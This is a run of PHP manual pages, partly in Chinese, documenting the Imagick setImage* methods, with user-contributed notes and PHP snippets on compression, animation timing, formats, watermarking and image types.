const COMPRESSION_NO = 1;
const COMPRESSION_BZIP = 2;
const COMPRESSION_FAX = 6;
const COMPRESSION_GROUP4 = 7;
const COMPRESSION_JPEG = 8;
const COMPRESSION_JPEG2000 = 9;
const COMPRESSION_LOSSLESSJPEG = 10;
const COMPRESSION_LZW = 11;
const COMPRESSION_RLE = 12;
const COMPRESSION_ZIP = 13;
const COMPRESSION_DXT1 = 3;
const COMPRESSION_DXT3 = 4;
const COMPRESSION_DXT5 = 5;
const COMPRESSION_ZIPS = 14;
const COMPRESSION_PIZ = 15;
const COMPRESSION_PXR24 = 16;
const COMPRESSION_B44 = 17;
const COMPRESSION_B44A = 18;
const COMPRESSION_LZMA = 19;
const COMPRESSION_JBIG1 = 20;
const COMPRESSION_JBIG2 = 21;
jacob at fragdev dot com 19-Apr-2019 04:12
On Ubuntu 18.04, these are the default compression methods used for the following common image formats:

PNG:  Imagick::COMPRESSION_ZIP
JPEG: Imagick::COMPRESSION_JPEG
GIF:  Imagick::COMPRESSION_LZW
snipes2083 [at] yahoo com 28-Mar-2010 10:03
Above it says "One of the COMPRESSION constants" for the parameters.  For any of you that found this confusing, you can find a list of the constants here:

Predefined Constants
http://www.php.net/manual/en/imagick.constants.php

As an example for working with a jpeg image:

<?php
    $image = 'jpeg_image.jpg';
    $comression_type = Imagick::COMPRESSION_JPEG;

    $im = new Imagick($image);
    $im->setImageCompression($compression_type);
?>

This class does not actually compress the images but rather sets the compression type that is going to be used.

If you would like to see how to compress the image see:
Imagick::setImageCompressionQuality


设置图片压缩的质量

  • ? Imagick::setImageCompression
  • Imagick::setImageDelay ?
  • PHP Manual
  • Imagick
  • 设置图片压缩的质量

Imagick::setImageCompressionQuality

(PECL imagick 2, PECL imagick 3)

Imagick::setImageCompressionQuality — 设置图片压缩的质量

说明

public Imagick::setImageCompressionQuality(int $quality): bool

设置图片压缩的质量

参数

quality

配置压缩质量的整数

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::setImageCompressionQuality()

<?php
function setImageCompressionQuality($imagePath, $quality) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageCompressionQuality($quality);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 04-Jul-2023 11:35
The setImageCompressionQuality method accepts an integer value as its argument, representing the desired compression quality for the image, from 0 to 100, where 0 represents the lowest quality (highest compression, most lossy), and 100 represents the highest quality (lowest compression, lossless).

* Quality 0: Lowest quality, highest compression, most lossy. This will result in a very small file size, but the image will likely have noticeable artifacts and reduced clarity.

* Quality 100: Highest quality, lowest compression, lossless. The image will retain all its original details, but the file size will be larger.

In most cases, a quality value between 70 and 90 provides a good balance between file size and image quality. However, the optimal value depends on your specific use case and the level of compression you can tolerate while maintaining acceptable image clarity. It's best to experiment with different quality values to find the one that best suits you
vhpvhp at msn dot com 08-Nov-2018 09:30
For a PNG image, `setImageCompressionQuality()` is not work at all, length of the generated files are totally same.

But I found an effective way, that is use `setOption('png:compression-level', 9)`, the value range is 0-9.
dylan dot arnold at gmail dot com 23-Aug-2012 03:23
I had strange results when trying to get good png compression.

I used Imagick::COMPRESSION_ZIP

Here are a few file sizes for a few compression levels.

0: 236,100
1: 274,035
9: 258,379
50: 241,282
100: 240,156

Note the best result at 0. Also I got thrown off for a long time trying to get similar results to gimp. Make sure your image depth is set to 8, it appears to be 16 bits per channel, at least for me.

You can check with identify -verbose filename.png

You can also strip a bit more file size with $image->stripImage();
Anonymous 20-Jun-2012 02:56
The default value fot the JPEG compression quality appears to be 86.
snipes2083 [at] yahoo com 28-Mar-2010 11:35
This example shows how to set the compression type, set the compression quality, create a thumbnail and remove unnecessary data in order to reduce file size.

This will use the following functions in reference:
Imagick::setImageCompression
Imagick::setImageCompressionQuality
Imagick::stripImage
Imagick::thumbnailImage
Imagick::writeImage

<?php
    $image = 'image.jpg';
    $directory = '/path/to/image';
    $image_location = $directory . "/" . $image;
    $thumb_destination = $directory . "/t" . $image;
    $compression_type = Imagick::COMPRESSION_JPEG;

    $im = new Imagick($image_location);
    $thumbnail = $im->clone;

    $thumbnail->setImageCompression($compression_type);
    $thumbnail->setImageCompressionQuality(40);
    $thumbnail->stripImage();
    $thumbnail->thumbnailImage(100,null);
    $thumbnail->writeImage($thumb_destination);
?>

Now, obviously you don't have to do so much with the variables and the file location.  I only used so many to demonstrate where the images are coming from and where they are going.

NOTE:  The $thumbnail->thumbnailImage(100,null); keeps the aspect ration by setting the second parameter to null.  Read about this at Imagick::thumbnailImage

There is another way to create thumbnails that works quite well if you want to crop the image rather than using the entire image.  Check out Imagick::cropThumbnailImage


Sets the image delay

  • ? Imagick::setImageCompressionQuality
  • Imagick::setImageDepth ?
  • PHP Manual
  • Imagick
  • Sets the image delay

Imagick::setImageDelay

(PECL imagick 2, PECL imagick 3)

Imagick::setImageDelay — Sets the image delay

说明

public Imagick::setImageDelay(int $delay): bool

Sets the image delay. For an animated image this is the amount of time that this frame of the image should be displayed for, before displaying the next frame.

The delay can be set individually for each frame in an image.

参数

delay

The amount of time expressed in 'ticks' that the image should be displayed for. For animated GIFs there are 100 ticks per second, so a value of 20 would be 20/100 of a second aka 1/5th of a second.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Modify animated Gif with Imagick::setImageDelay()

<?php

// Modify an animated Gif so that it's frames are played at a variable speed,
// varying between being shown for 50ms down to 0ms, which will cause the frame
// to be skipped in most browsers.
$imagick = new Imagick(realpath("Test.gif"));
$imagick = $imagick->coalesceImages();

$frameCount = 0;

foreach ($imagick as $frame) {
$imagick->setImageDelay((($frameCount % 11) * 5));
$frameCount++;
}

$imagick = $imagick->deconstructImages();

$imagick->writeImages("/path/to/save/output.gif", true);

?>

User Contributed Notes

fortruth at mabang dot net 03-Jun-2010 08:02
the delay time unit is micro-second  when 100  is  1s


Sets the image depth

  • ? Imagick::setImageDelay
  • Imagick::setImageDispose ?
  • PHP Manual
  • Imagick
  • Sets the image depth

Imagick::setImageDepth

(PECL imagick 2, PECL imagick 3)

Imagick::setImageDepth — Sets the image depth

说明

public Imagick::setImageDepth(int $depth): bool

Sets the image depth.

参数

depth

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

kehrigan at gmail dot com 23-Jul-2014 08:25
Depth is a number in terms of bits. Floats seem to be accepted.

From the ImageMagick documentation:
"This the number of bits in a color sample within a pixel. Use this option to specify the depth of raw images whose depth is unknown such as GRAY, RGB, or CMYK, or to change the depth of any image after it has been read."


Sets the image disposal method

  • ? Imagick::setImageDepth
  • Imagick::setImageExtent ?
  • PHP Manual
  • Imagick
  • Sets the image disposal method

Imagick::setImageDispose

(PECL imagick 2, PECL imagick 3)

Imagick::setImageDispose — Sets the image disposal method

说明

public Imagick::setImageDispose(int $dispose): bool

Sets the image disposal method.

参数

dispose

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

malou_pitawawa at hotmail dot com 16-Jan-2010 04:00
The layer disposal method defines the way each the displayed image is to be modified after the current 'frame' of an animation has finished being displayed (after its 'delay' period), but before the next frame on an animation is to be overlaid onto the display.

Value for $dispose:

Undefined: 0 -> No disposal specified (equivalent to 'none').
None: 1 -> Do not dispose, just overlay next frame image.
Background: 2 -> Clear the frame area with the background color.
Previous: 3 -> Clear to the image prior to this frames overlay.

from: http://www.imagemagick.org/script/command-line-options.php?#dispose


Sets the image size

  • ? Imagick::setImageDispose
  • Imagick::setImageFilename ?
  • PHP Manual
  • Imagick
  • Sets the image size

Imagick::setImageExtent

(PECL imagick 2, PECL imagick 3)

Imagick::setImageExtent — Sets the image size

说明

public Imagick::setImageExtent(int $columns, int $rows): bool

Sets the image size (i.e. columns & rows).

参数

columns

rows

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

charles dot p dot hall at gmail dot com 29-Oct-2014 05:31
In other graphics systems I have seen this referred to as Canvas size or re-dimensioning. It changes the dimension of the image without re-scaling. Added pixels appear black, removed pixels are simply cropped away.
tim at komta dot com 19-Oct-2009 12:02
This function actually sets the width and height of the image (in pixels).

Took me forever to figure this out.


Sets the filename of a particular image

  • ? Imagick::setImageExtent
  • Imagick::setImageFormat ?
  • PHP Manual
  • Imagick
  • Sets the filename of a particular image

Imagick::setImageFilename

(PECL imagick 2, PECL imagick 3)

Imagick::setImageFilename — Sets the filename of a particular image

说明

public Imagick::setImageFilename(string $filename): bool

Sets the filename of a particular image in a sequence.

参数

filename

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


为图片设置指定的格式

  • ? Imagick::setImageFilename
  • Imagick::setImageGamma ?
  • PHP Manual
  • Imagick
  • 为图片设置指定的格式

Imagick::setImageFormat

(PECL imagick 2, PECL imagick 3)

Imagick::setImageFormat — 为图片设置指定的格式

说明

public Imagick::setImageFormat(string $format): bool

为图片设置指定的格式

参数

format

表示图片格式的一个字符串。支持的格式依赖于 ImageMagick 的安装。

返回值

成功时返回 true。

User Contributed Notes

layzee dot dk at gmail dot com 01-Jul-2013 06:44
This method only affects the individual loaded/constructed images.

To set the format of the entire object, use the Imagick::setFormat method. E.g. load TIFF files, then use setFormat('pdf') on the Imagick object, then writeImagesFile('foo.pdf') or getImagesBlob().
markus dot s dot schmitz at gmail dot com 11-Dec-2012 01:47
If you use writeFile or writeFiles without setting the format, it is automatically set according to the file extension used within the parameter of writeFile.
nathan at crause dot name 18-Aug-2010 09:35
For those of you completely confused by the utter lack of documentation for this class (including notes being dropped, probably this one included), the differences between any "setXXX" and "setImageXXX" seems to be entirely dependently on HOW the image was loaded.

If the image was loaded at object constructor time, it seems that you use "setXXX" - if you loaded it after the fact (such as via "readImageBlob") then you use "setImageXXX".

This is irregular, however. For example:

<?php
        $image = new Imagick();

        $image->setResolution(300, 300);
        $image->readImageBlob(...);
        // convert the output to JPEG
        $image->setImageFormat('jpeg');
        $image->setImageCompressionQuality(90);
?>

Note that we use "setResolution" not "setImageResolution".
andy at live dot nl 26-Feb-2009 06:54
I had a problem when using $im->setImageFormat('jpeg');
Image colors got inverted when i converted pdfs to jpg thumbs.
Had to add $im->setImageColorspace(255); to solve it.

<?php
// read page 1
$im = new imagick( 'test.pdf[ 0]' );

// convert to jpg
$im->setImageColorspace(255);
$im->setCompression(Imagick::COMPRESSION_JPEG);
$im->setCompressionQuality(60);
$im->setImageFormat('jpeg');

//resize
$im->resizeImage(290, 375, imagick::FILTER_LANCZOS, 1);

//write image on server
$im->writeImage('thumb.jpg');
$im->clear();
$im->destroy();
?>
barclay[dot]loftus[at]gmail.com 12-Mar-2008 03:04
Another note about image output. For jpeg images, the quality is adjusted by Imagick::setCompressionQuality().

<?php
$img->setCompressionQuality(90);
$img->setImageFormat('jpeg');
header('Content-type: image/jpg');
echo $img;
?>
optymizer at yahoo dot com 21-Nov-2007 03:09
The previous example did not work for me. I received an error that the IMagick object cannot be converted to string.

This example uses the IMagick::getImageBlob() method to properly output the contents of the converted image:

function getImage($filename)
{
            $image->readImage($filename);
            $image->setImageFormat("png");
            header("Content-type: image/png");
            echo $image->getImageBlob();
}

Hope this helps!
Devo 07-Oct-2007 08:02
A list of formats can be found here: http://www.imagemagick.org/script/formats.php

Formats marked with a W can be output to file with writeImage (capabilities depend on your particular installation of course).

For example:

<?php
// create new imagick object from image.jpg
$im = new Imagick( "image.jpg" );

// change format to png
$im->setImageFormat( "png" );

// output the image to the browser as a png
header( "Content-Type: image/png" );
echo $im;

// or you could output the image to a file:
//$im->writeImage( "image.png" );
?>


Sets the image gamma

  • ? Imagick::setImageFormat
  • Imagick::setImageGravity ?
  • PHP Manual
  • Imagick
  • Sets the image gamma

Imagick::setImageGamma

(PECL imagick 2, PECL imagick 3)

Imagick::setImageGamma — Sets the image gamma

说明

public Imagick::setImageGamma(float $gamma): bool

Sets the image gamma.

参数

gamma

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image gravity

  • ? Imagick::setImageGamma
  • Imagick::setImageGreenPrimary ?
  • PHP Manual
  • Imagick
  • Sets the image gravity

Imagick::setImageGravity

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::setImageGravity — Sets the image gravity

说明

public Imagick::setImageGravity(int $gravity): bool

Sets the gravity property for the current image. This method can be used to set the gravity property for a single image sequence. 此方法在Imagick基于ImageMagick 6.4.4以上版本编译时可用。

参数

gravity

The gravity property. Refer to the list of gravity constants.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity green primary point

  • ? Imagick::setImageGravity
  • Imagick::setImageIndex ?
  • PHP Manual
  • Imagick
  • Sets the image chromaticity green primary point

Imagick::setImageGreenPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::setImageGreenPrimary — Sets the image chromaticity green primary point

说明

public Imagick::setImageGreenPrimary(float $x, float $y): bool

Sets the image chromaticity green primary point.

参数

x

y

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Set the iterator position

  • ? Imagick::setImageGreenPrimary
  • Imagick::setImageInterlaceScheme ?
  • PHP Manual
  • Imagick
  • Set the iterator position

Imagick::setImageIndex

(PECL imagick 2, PECL imagick 3)

Imagick::setImageIndex — Set the iterator position

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::setImageIndex(int $index): bool

Set the iterator to the position in the image list specified with the index parameter.

This method has been deprecated. See Imagick::setIteratorIndex().

参数

index

The position to set the iterator to

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

maulik_Vr at yahoo dot co dot in 22-Apr-2013 07:37
when you read pdf by getImageBlog and want to get the image or blob of a specific page, use this function as below.

$ims = new Imagick();

$ims->readImageBlob($pdfFileContent);

$ims->setImageIndex(5); //this will return 6th page of the pdf file
$image->setImageFormat('png');
            //etc
$blob = $image->getImageBlob();
Rob Hidalgo 09-Oct-2012 05:05
When reading a PDF from an ImageBlob, and you want to set the page to be used, this is the function to use.


Sets the image compression

  • ? Imagick::setImageIndex
  • Imagick::setImageInterpolateMethod ?
  • PHP Manual
  • Imagick
  • Sets the image compression

Imagick::setImageInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::setImageInterlaceScheme — Sets the image compression

说明

public Imagick::setImageInterlaceScheme(int $interlace_scheme): bool

Sets the image compression.

参数

interlace_scheme

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

WJS 17-Nov-2014 03:21
This function doesn't appear to do anything. Use setInterlaceScheme instead.


Sets the image interpolate pixel method

  • ? Imagick::setImageInterlaceScheme
  • Imagick::setImageIterations ?
  • PHP Manual
  • Imagick
  • Sets the image interpolate pixel method

Imagick::setImageInterpolateMethod

(PECL imagick 2, PECL imagick 3)

Imagick::setImageInterpolateMethod — Sets the image interpolate pixel method

说明

public Imagick::setImageInterpolateMethod(int $method): bool

Sets the image interpolate pixel method.

参数

method

The method is one of the Imagick::INTERPOLATE_* constants

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image iterations

  • ? Imagick::setImageInterpolateMethod
  • Imagick::setImageMatte ?
  • PHP Manual
  • Imagick
  • Sets the image iterations

Imagick::setImageIterations

(PECL imagick 2, PECL imagick 3)

Imagick::setImageIterations — Sets the image iterations

说明

public Imagick::setImageIterations(int $iterations): bool

Sets the number of iterations an animated image is repeated.

参数

iterations

The number of iterations the image should loop over. Set to '0' to loop continuously.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Basic Imagick::setImageIterations() usage

<?php

$imagick = new Imagick(realpath("Test.gif"));

$imagick = $imagick->coalesceImages();
$imagick->setImageIterations(1);
$imagick = $imagick->deconstructImages();

$imagick->writeImages('/path/to/save/OnceOnly.gif', true);

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the image matte channel

  • ? Imagick::setImageIterations
  • Imagick::setImageMatteColor ?
  • PHP Manual
  • Imagick
  • Sets the image matte channel

Imagick::setImageMatte

(PECL imagick 2, PECL imagick 3)

Imagick::setImageMatte — Sets the image matte channel

说明

public Imagick::setImageMatte(bool $matte): bool

Sets the image matte channel. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

matte

True activates the matte channel and false disables it.

返回值

成功时返回 true。

User Contributed Notes

martin at psinas dot com 05-Oct-2011 06:33
I found this method is needed when creating a font / image mask, and needs to be set to false otherwise the mask won't take effect. Here is an example:

<?php

// Create objects
$image = new Imagick('myImage.png');
$watermark = new Imagick();
$mask = new Imagick();
$draw = new ImagickDraw();

// Define dimensions
$width = $image->getImageWidth();
$height = $image->getImageHeight();

// Create some palettes
$watermark->newImage($width, $height, new ImagickPixel('grey30'));
$mask->newImage($width, $height, new ImagickPixel('black'));

// Watermark text
$text = 'Copyright';

// Set font properties
$draw->setFont('Bookman-Demi');
$draw->setFontSize(20);
$draw->setFillColor('grey70');

// Position text
$draw->setGravity(Imagick::GRAVITY_SOUTHEAST);

// Draw text on the watermark palette
$watermark->annotateImage($draw, 10, 12, 0, $text);

// Draw text on the mask palette
$draw->setFillColor('white');
$mask->annotateImage($draw, 11, 13, 0, $text);
$mask->annotateImage($draw, 10, 12, 0, $text);
$draw->setFillColor('black');
$mask->annotateImage($draw, 9, 11, 0, $text);

// This is apparently needed for the mask to work
$mask->setImageMatte(false);

// Apply mask to watermark
$watermark->compositeImage($mask, Imagick::COMPOSITE_COPYOPACITY, 0, 0);

// Overlay watermark on image
$image->compositeImage($watermark, Imagick::COMPOSITE_DISSOLVE, 0, 0);

// Set output image format
$image->setImageFormat('png');

// Output the new image
header('Content-type: image/png');
echo $image;

?>


Sets the image matte color

  • ? Imagick::setImageMatte
  • Imagick::setImageOpacity ?
  • PHP Manual
  • Imagick
  • Sets the image matte color

Imagick::setImageMatteColor

(PECL imagick 2, PECL imagick 3)

Imagick::setImageMatteColor — Sets the image matte color

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::setImageMatteColor(mixed $matte): bool

Sets the image matte color.

参数

matte

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as the parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image opacity level

  • ? Imagick::setImageMatteColor
  • Imagick::setImageOrientation ?
  • PHP Manual
  • Imagick
  • Sets the image opacity level

Imagick::setImageOpacity

(PECL imagick 2, PECL imagick 3)

Imagick::setImageOpacity — Sets the image opacity level

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::setImageOpacity(float $opacity): bool

Sets the image to the specified opacity level. 此方法在Imagick基于ImageMagick 6.3.1以上版本编译时可用。 This method operates on all channels, which means that for example opacity value of 0.5 will set all transparent areas to partially opaque. To add transparency to areas that are not already transparent use Imagick::evaluateImage()

参数

opacity

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

返回值

成功时返回 true。

示例

Example #1 A Imagick::setImageOpacity() example

An example of using Imagick::setImageOpacity()

<?php
/* Create the object */
$image = new Imagick('source.png');

/* Set the opacity */
$image->setImageOpacity(0.7);

/* output the image */
header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

hola at rafaeltovar dot info 15-Oct-2019 03:18
This function is deprecated from last stable version (3.4.4 - 2019-05-02) of PECL Imagick extension.

More info: http://pecl.php.net/package-changelog.php?package=imagick&release=3.4.4

"setImageAlpha" is the new alternative function, but doesn't work with ImageMagick < 7.

More info: https://github.com/avalanche123/Imagine/issues/715


Sets the image orientation

  • ? Imagick::setImageOpacity
  • Imagick::setImagePage ?
  • PHP Manual
  • Imagick
  • Sets the image orientation

Imagick::setImageOrientation

(PECL imagick 2, PECL imagick 3)

Imagick::setImageOrientation — Sets the image orientation

说明

public Imagick::setImageOrientation(int $orientation): bool

Sets the image orientation.

参数

orientation

One of the orientation constants

返回值

成功时返回 true。

示例

Example #1 Imagick::setImageOrientation()

<?php
//Doesn't appear to do anything
function setImageOrientation($imagePath, $orientationType) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageOrientation($orientationType);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

orrd101 at yahoo dot com 20-Feb-2013 09:20
Be aware that Imagick::setImageOrientation() doesn't actually rotate the image, it just changes the EXIF rotation info that will be saved with the image. In some cases that may be what you want to do, but  if you're trying to rotate an image, this probably isn't the way you want to do it. The problem with relying on the EXIF rotation info is that many web browsers ignore and some image viewing software ignore the EXIF information and don't auto-rotate it automatically.  This function is best used to correct EXIF rotation information just before saving an image.

To actually rotate an image, use Imagick::rotateImage().

And then maybe use this function to save the correct EXIF orientation data.  For example: $image->setImageOrientation(imagick::ORIENTATION_TOPLEFT);


Sets the page geometry of the image

  • ? Imagick::setImageOrientation
  • Imagick::setImageProfile ?
  • PHP Manual
  • Imagick
  • Sets the page geometry of the image

Imagick::setImagePage

(PECL imagick 2, PECL imagick 3)

Imagick::setImagePage — Sets the page geometry of the image

说明

public Imagick::setImagePage(
int $width,
int $height,
int $x,
int $y
): bool

Sets the page geometry of the image.

参数

width

height

x

y

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

Darren Burnhill 19-May-2009 05:03
This would appear to be the equivalent of +repage in ImageMagick.

<?php
  $ImagickObj = new Imagick($sourceImagePath);
  $ImagickObj->cropImage($_POST['w'], $_POST['h'], $_POST['x'], $_POST['y']);
  $ImagickObj->setImagePage($_POST['w'], $_POST['h'], 0, 0);
  $ImagickObj->writeImage($cropFilePath);
?>


Adds a named profile to the Imagick object

  • ? Imagick::setImagePage
  • Imagick::setImageProperty ?
  • PHP Manual
  • Imagick
  • Adds a named profile to the Imagick object

Imagick::setImageProfile

(PECL imagick 2, PECL imagick 3)

Imagick::setImageProfile — Adds a named profile to the Imagick object

说明

public Imagick::setImageProfile(string $name, string $profile): bool

Adds a named profile to the Imagick object. If a profile with the same name already exists, it is replaced. This method differs from the Imagick::ProfileImage() method in that it does not apply any CMS color profiles.

参数

name

profile

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets an image property

  • ? Imagick::setImageProfile
  • Imagick::setImageRedPrimary ?
  • PHP Manual
  • Imagick
  • Sets an image property

Imagick::setImageProperty

(PECL imagick 2, PECL imagick 3)

Imagick::setImageProperty — Sets an image property

说明

public Imagick::setImageProperty(string $name, string $value): bool

Sets a named property to the image. 此方法在Imagick基于ImageMagick 6.3.2以上版本编译时可用。

参数

name

value

返回值

成功时返回 true。

示例

Example #1 Using Imagick::setImageProperty():

Setting and getting image properties

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");

$image->setImageProperty('Exif:Make', 'Imagick');
echo $image->getImageProperty('Exif:Make');
?>

参见

  • Imagick::getImageProperty() - Returns the named image property

User Contributed Notes

Jocke Selin 15-Nov-2018 06:23
Please be aware that only 'comment' values are written to the file if it's a JPEG. This means that any other data, such as GPS data or Exif data can be 'modified' but will not be written to the file.  This might change in the future, but it hasn't change in 2 years.

For reference.
https://github.com/mkoppanen/imagick/issues/124
https://github.com/ImageMagick/ImageMagick/issues/55


Sets the image chromaticity red primary point

  • ? Imagick::setImageProperty
  • Imagick::setImageRenderingIntent ?
  • PHP Manual
  • Imagick
  • Sets the image chromaticity red primary point

Imagick::setImageRedPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::setImageRedPrimary — Sets the image chromaticity red primary point

说明

public Imagick::setImageRedPrimary(float $x, float $y): bool

Sets the image chromaticity red primary point.

参数

x

y

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image rendering intent

  • ? Imagick::setImageRedPrimary
  • Imagick::setImageResolution ?
  • PHP Manual
  • Imagick
  • Sets the image rendering intent

Imagick::setImageRenderingIntent

(PECL imagick 2, PECL imagick 3)

Imagick::setImageRenderingIntent — Sets the image rendering intent

说明

public Imagick::setImageRenderingIntent(int $rendering_intent): bool

Sets the image rendering intent.

参数

rendering_intent

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image resolution

  • ? Imagick::setImageRenderingIntent
  • Imagick::setImageScene ?
  • PHP Manual
  • Imagick
  • Sets the image resolution

Imagick::setImageResolution

(PECL imagick 2, PECL imagick 3)

Imagick::setImageResolution — Sets the image resolution

说明

public Imagick::setImageResolution(float $x_resolution, float $y_resolution): bool

Sets the image resolution.

参数

x_resolution

y_resolution

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::setImageResolution()

<?php
function setImageResolution($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageResolution(50, 50);

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

craig dot fairhurst at nospamyouds dot com 12-Feb-2010 10:12
Note that any changes to the resolution (-density option) must be made before specifying the file, so construct the object with no file path and then use $object->readImage('path/to/file'); otherwise the density won't change.
Also see Imagick::setResolution.
octave at web dot de 17-Jul-2009 09:27
This method uses the ImageMagick "-density {$x_resolution}x{$y_resolution}" parameter


Sets the image scene

  • ? Imagick::setImageResolution
  • Imagick::setImageTicksPerSecond ?
  • PHP Manual
  • Imagick
  • Sets the image scene

Imagick::setImageScene

(PECL imagick 2, PECL imagick 3)

Imagick::setImageScene — Sets the image scene

说明

public Imagick::setImageScene(int $scene): bool

Sets the image scene.

参数

scene

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image ticks-per-second

  • ? Imagick::setImageScene
  • Imagick::setImageType ?
  • PHP Manual
  • Imagick
  • Sets the image ticks-per-second

Imagick::setImageTicksPerSecond

(PECL imagick 2, PECL imagick 3)

Imagick::setImageTicksPerSecond — Sets the image ticks-per-second

说明

public Imagick::setImageTicksPerSecond(int $ticks_per_second): bool

Adjust the amount of time that a frame of an animated image is displayed for.

Note:

For animated GIFs, this function does not change the number of 'image ticks' per second, which is always defined as 100. Instead it adjusts the amount of time that the frame is displayed for to simulate the change in 'ticks per second'.

For example, for an animated GIF where each frame is displayed for 20 ticks (1/5 of a second) when this method is called on each frame of that image with an argument of 50 the frames are adjusted to be displayed for 40 ticks (2/5 of a second) and the animation will play at half the original speed.

参数

ticks_per_second

The duration for which an image should be displayed expressed in ticks per second.

返回值

成功时返回 true。

示例

Example #1 Modify animated Gif with Imagick::setImageTicksPerSecond()

<?php

// Modify an animated gif so the first half of the gif is played at half the
// speed it currently is, and the second half to be played at double the speed
// it currently is

$imagick = new Imagick(realpath("Test.gif"));
$imagick = $imagick->coalesceImages();

$totalFrames = $imagick->getNumberImages();

$frameCount = 0;

foreach ($imagick as $frame) {
$imagick->setImageTicksPerSecond(50);

if ($frameCount < ($totalFrames / 2)) {
// Modify the frame to be displayed for twice as long as it currently is
$imagick->setImageTicksPerSecond(50);
} else {
// Modify the frame to be displayed for half as long as it currently is
$imagick->setImageTicksPerSecond(200);
}

$frameCount++;
}

$imagick = $imagick->deconstructImages();

$imagick->writeImages("/path/to/save/output.gif", true);

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the image type

  • ? Imagick::setImageTicksPerSecond
  • Imagick::setImageUnits ?
  • PHP Manual
  • Imagick
  • Sets the image type

Imagick::setImageType

(PECL imagick 2, PECL imagick 3)

Imagick::setImageType — Sets the image type

说明

public Imagick::setImageType(int $image_type): bool

Sets the image type.

参数

image_type

返回值

成功时返回 true。

User Contributed Notes

Simon J 24-Mar-2020 12:55
The different image types that can be specified are (from the Imagick::getImageType doc page):

    Imagick::IMGTYPE_UNDEFINED
    Imagick::IMGTYPE_BILEVEL
    Imagick::IMGTYPE_GRAYSCALE
    Imagick::IMGTYPE_GRAYSCALEMATTE
    Imagick::IMGTYPE_PALETTE
    Imagick::IMGTYPE_PALETTEMATTE
    Imagick::IMGTYPE_TRUECOLOR
    Imagick::IMGTYPE_TRUECOLORMATTE
    Imagick::IMGTYPE_COLORSEPARATION
    Imagick::IMGTYPE_COLORSEPARATIONMATTE
    Imagick::IMGTYPE_OPTIMIZE

The MATTE variants are equivalent to GrayscaleAlpha, etc. in the ImageMagick command line. If you're making something grayscale, I would recommend using IMGTYPE_GRAYSCALEMATTE.

<?php

$im->setImageType(Imagick::IMGTYPE_GRAYSCALEMATTE);

?>
quickshiftin at gmail dot com 04-Oct-2014 06:29
The cleaner way to set the type to grayscale is to use the Imagick class constant.

$oBw = new \Imagick($sSourceImage);
$oBw->setImageType(\Imagick::IMGTYPE_GRAYSCALE);

I've found this to be a rather harsh 'convert to grayscale' approach. Fred's color2gray script works much better, but it's written in Bash. Time to get it ported over lol

http://www.fmwconcepts.com/imagemagick/color2gray/index.php
lee dot traynor at skeptic dot de 19-Oct-2011 01:37
This function can be used to desaturate an image, i.e. to convert a coloured image into a greyscale:

<?php

$im = new Imagick ("image.jpg");
$im->setImageType (2);
//is now in 256 shades of grey

?>


Sets the image units of resolution

  • ? Imagick::setImageType
  • Imagick::setImageVirtualPixelMethod ?
  • PHP Manual
  • Imagick
  • Sets the image units of resolution

Imagick::setImageUnits

(PECL imagick 2, PECL imagick 3)

Imagick::setImageUnits — Sets the image units of resolution

说明

public Imagick::setImageUnits(int $units): bool

Sets the image units of resolution.

参数

units

返回值

成功时返回 true。

User Contributed Notes

euperia at gmail dot com 07-Nov-2012 08:20
You should use the PHP Imagick constants to correctly set the Image Units, as described here:

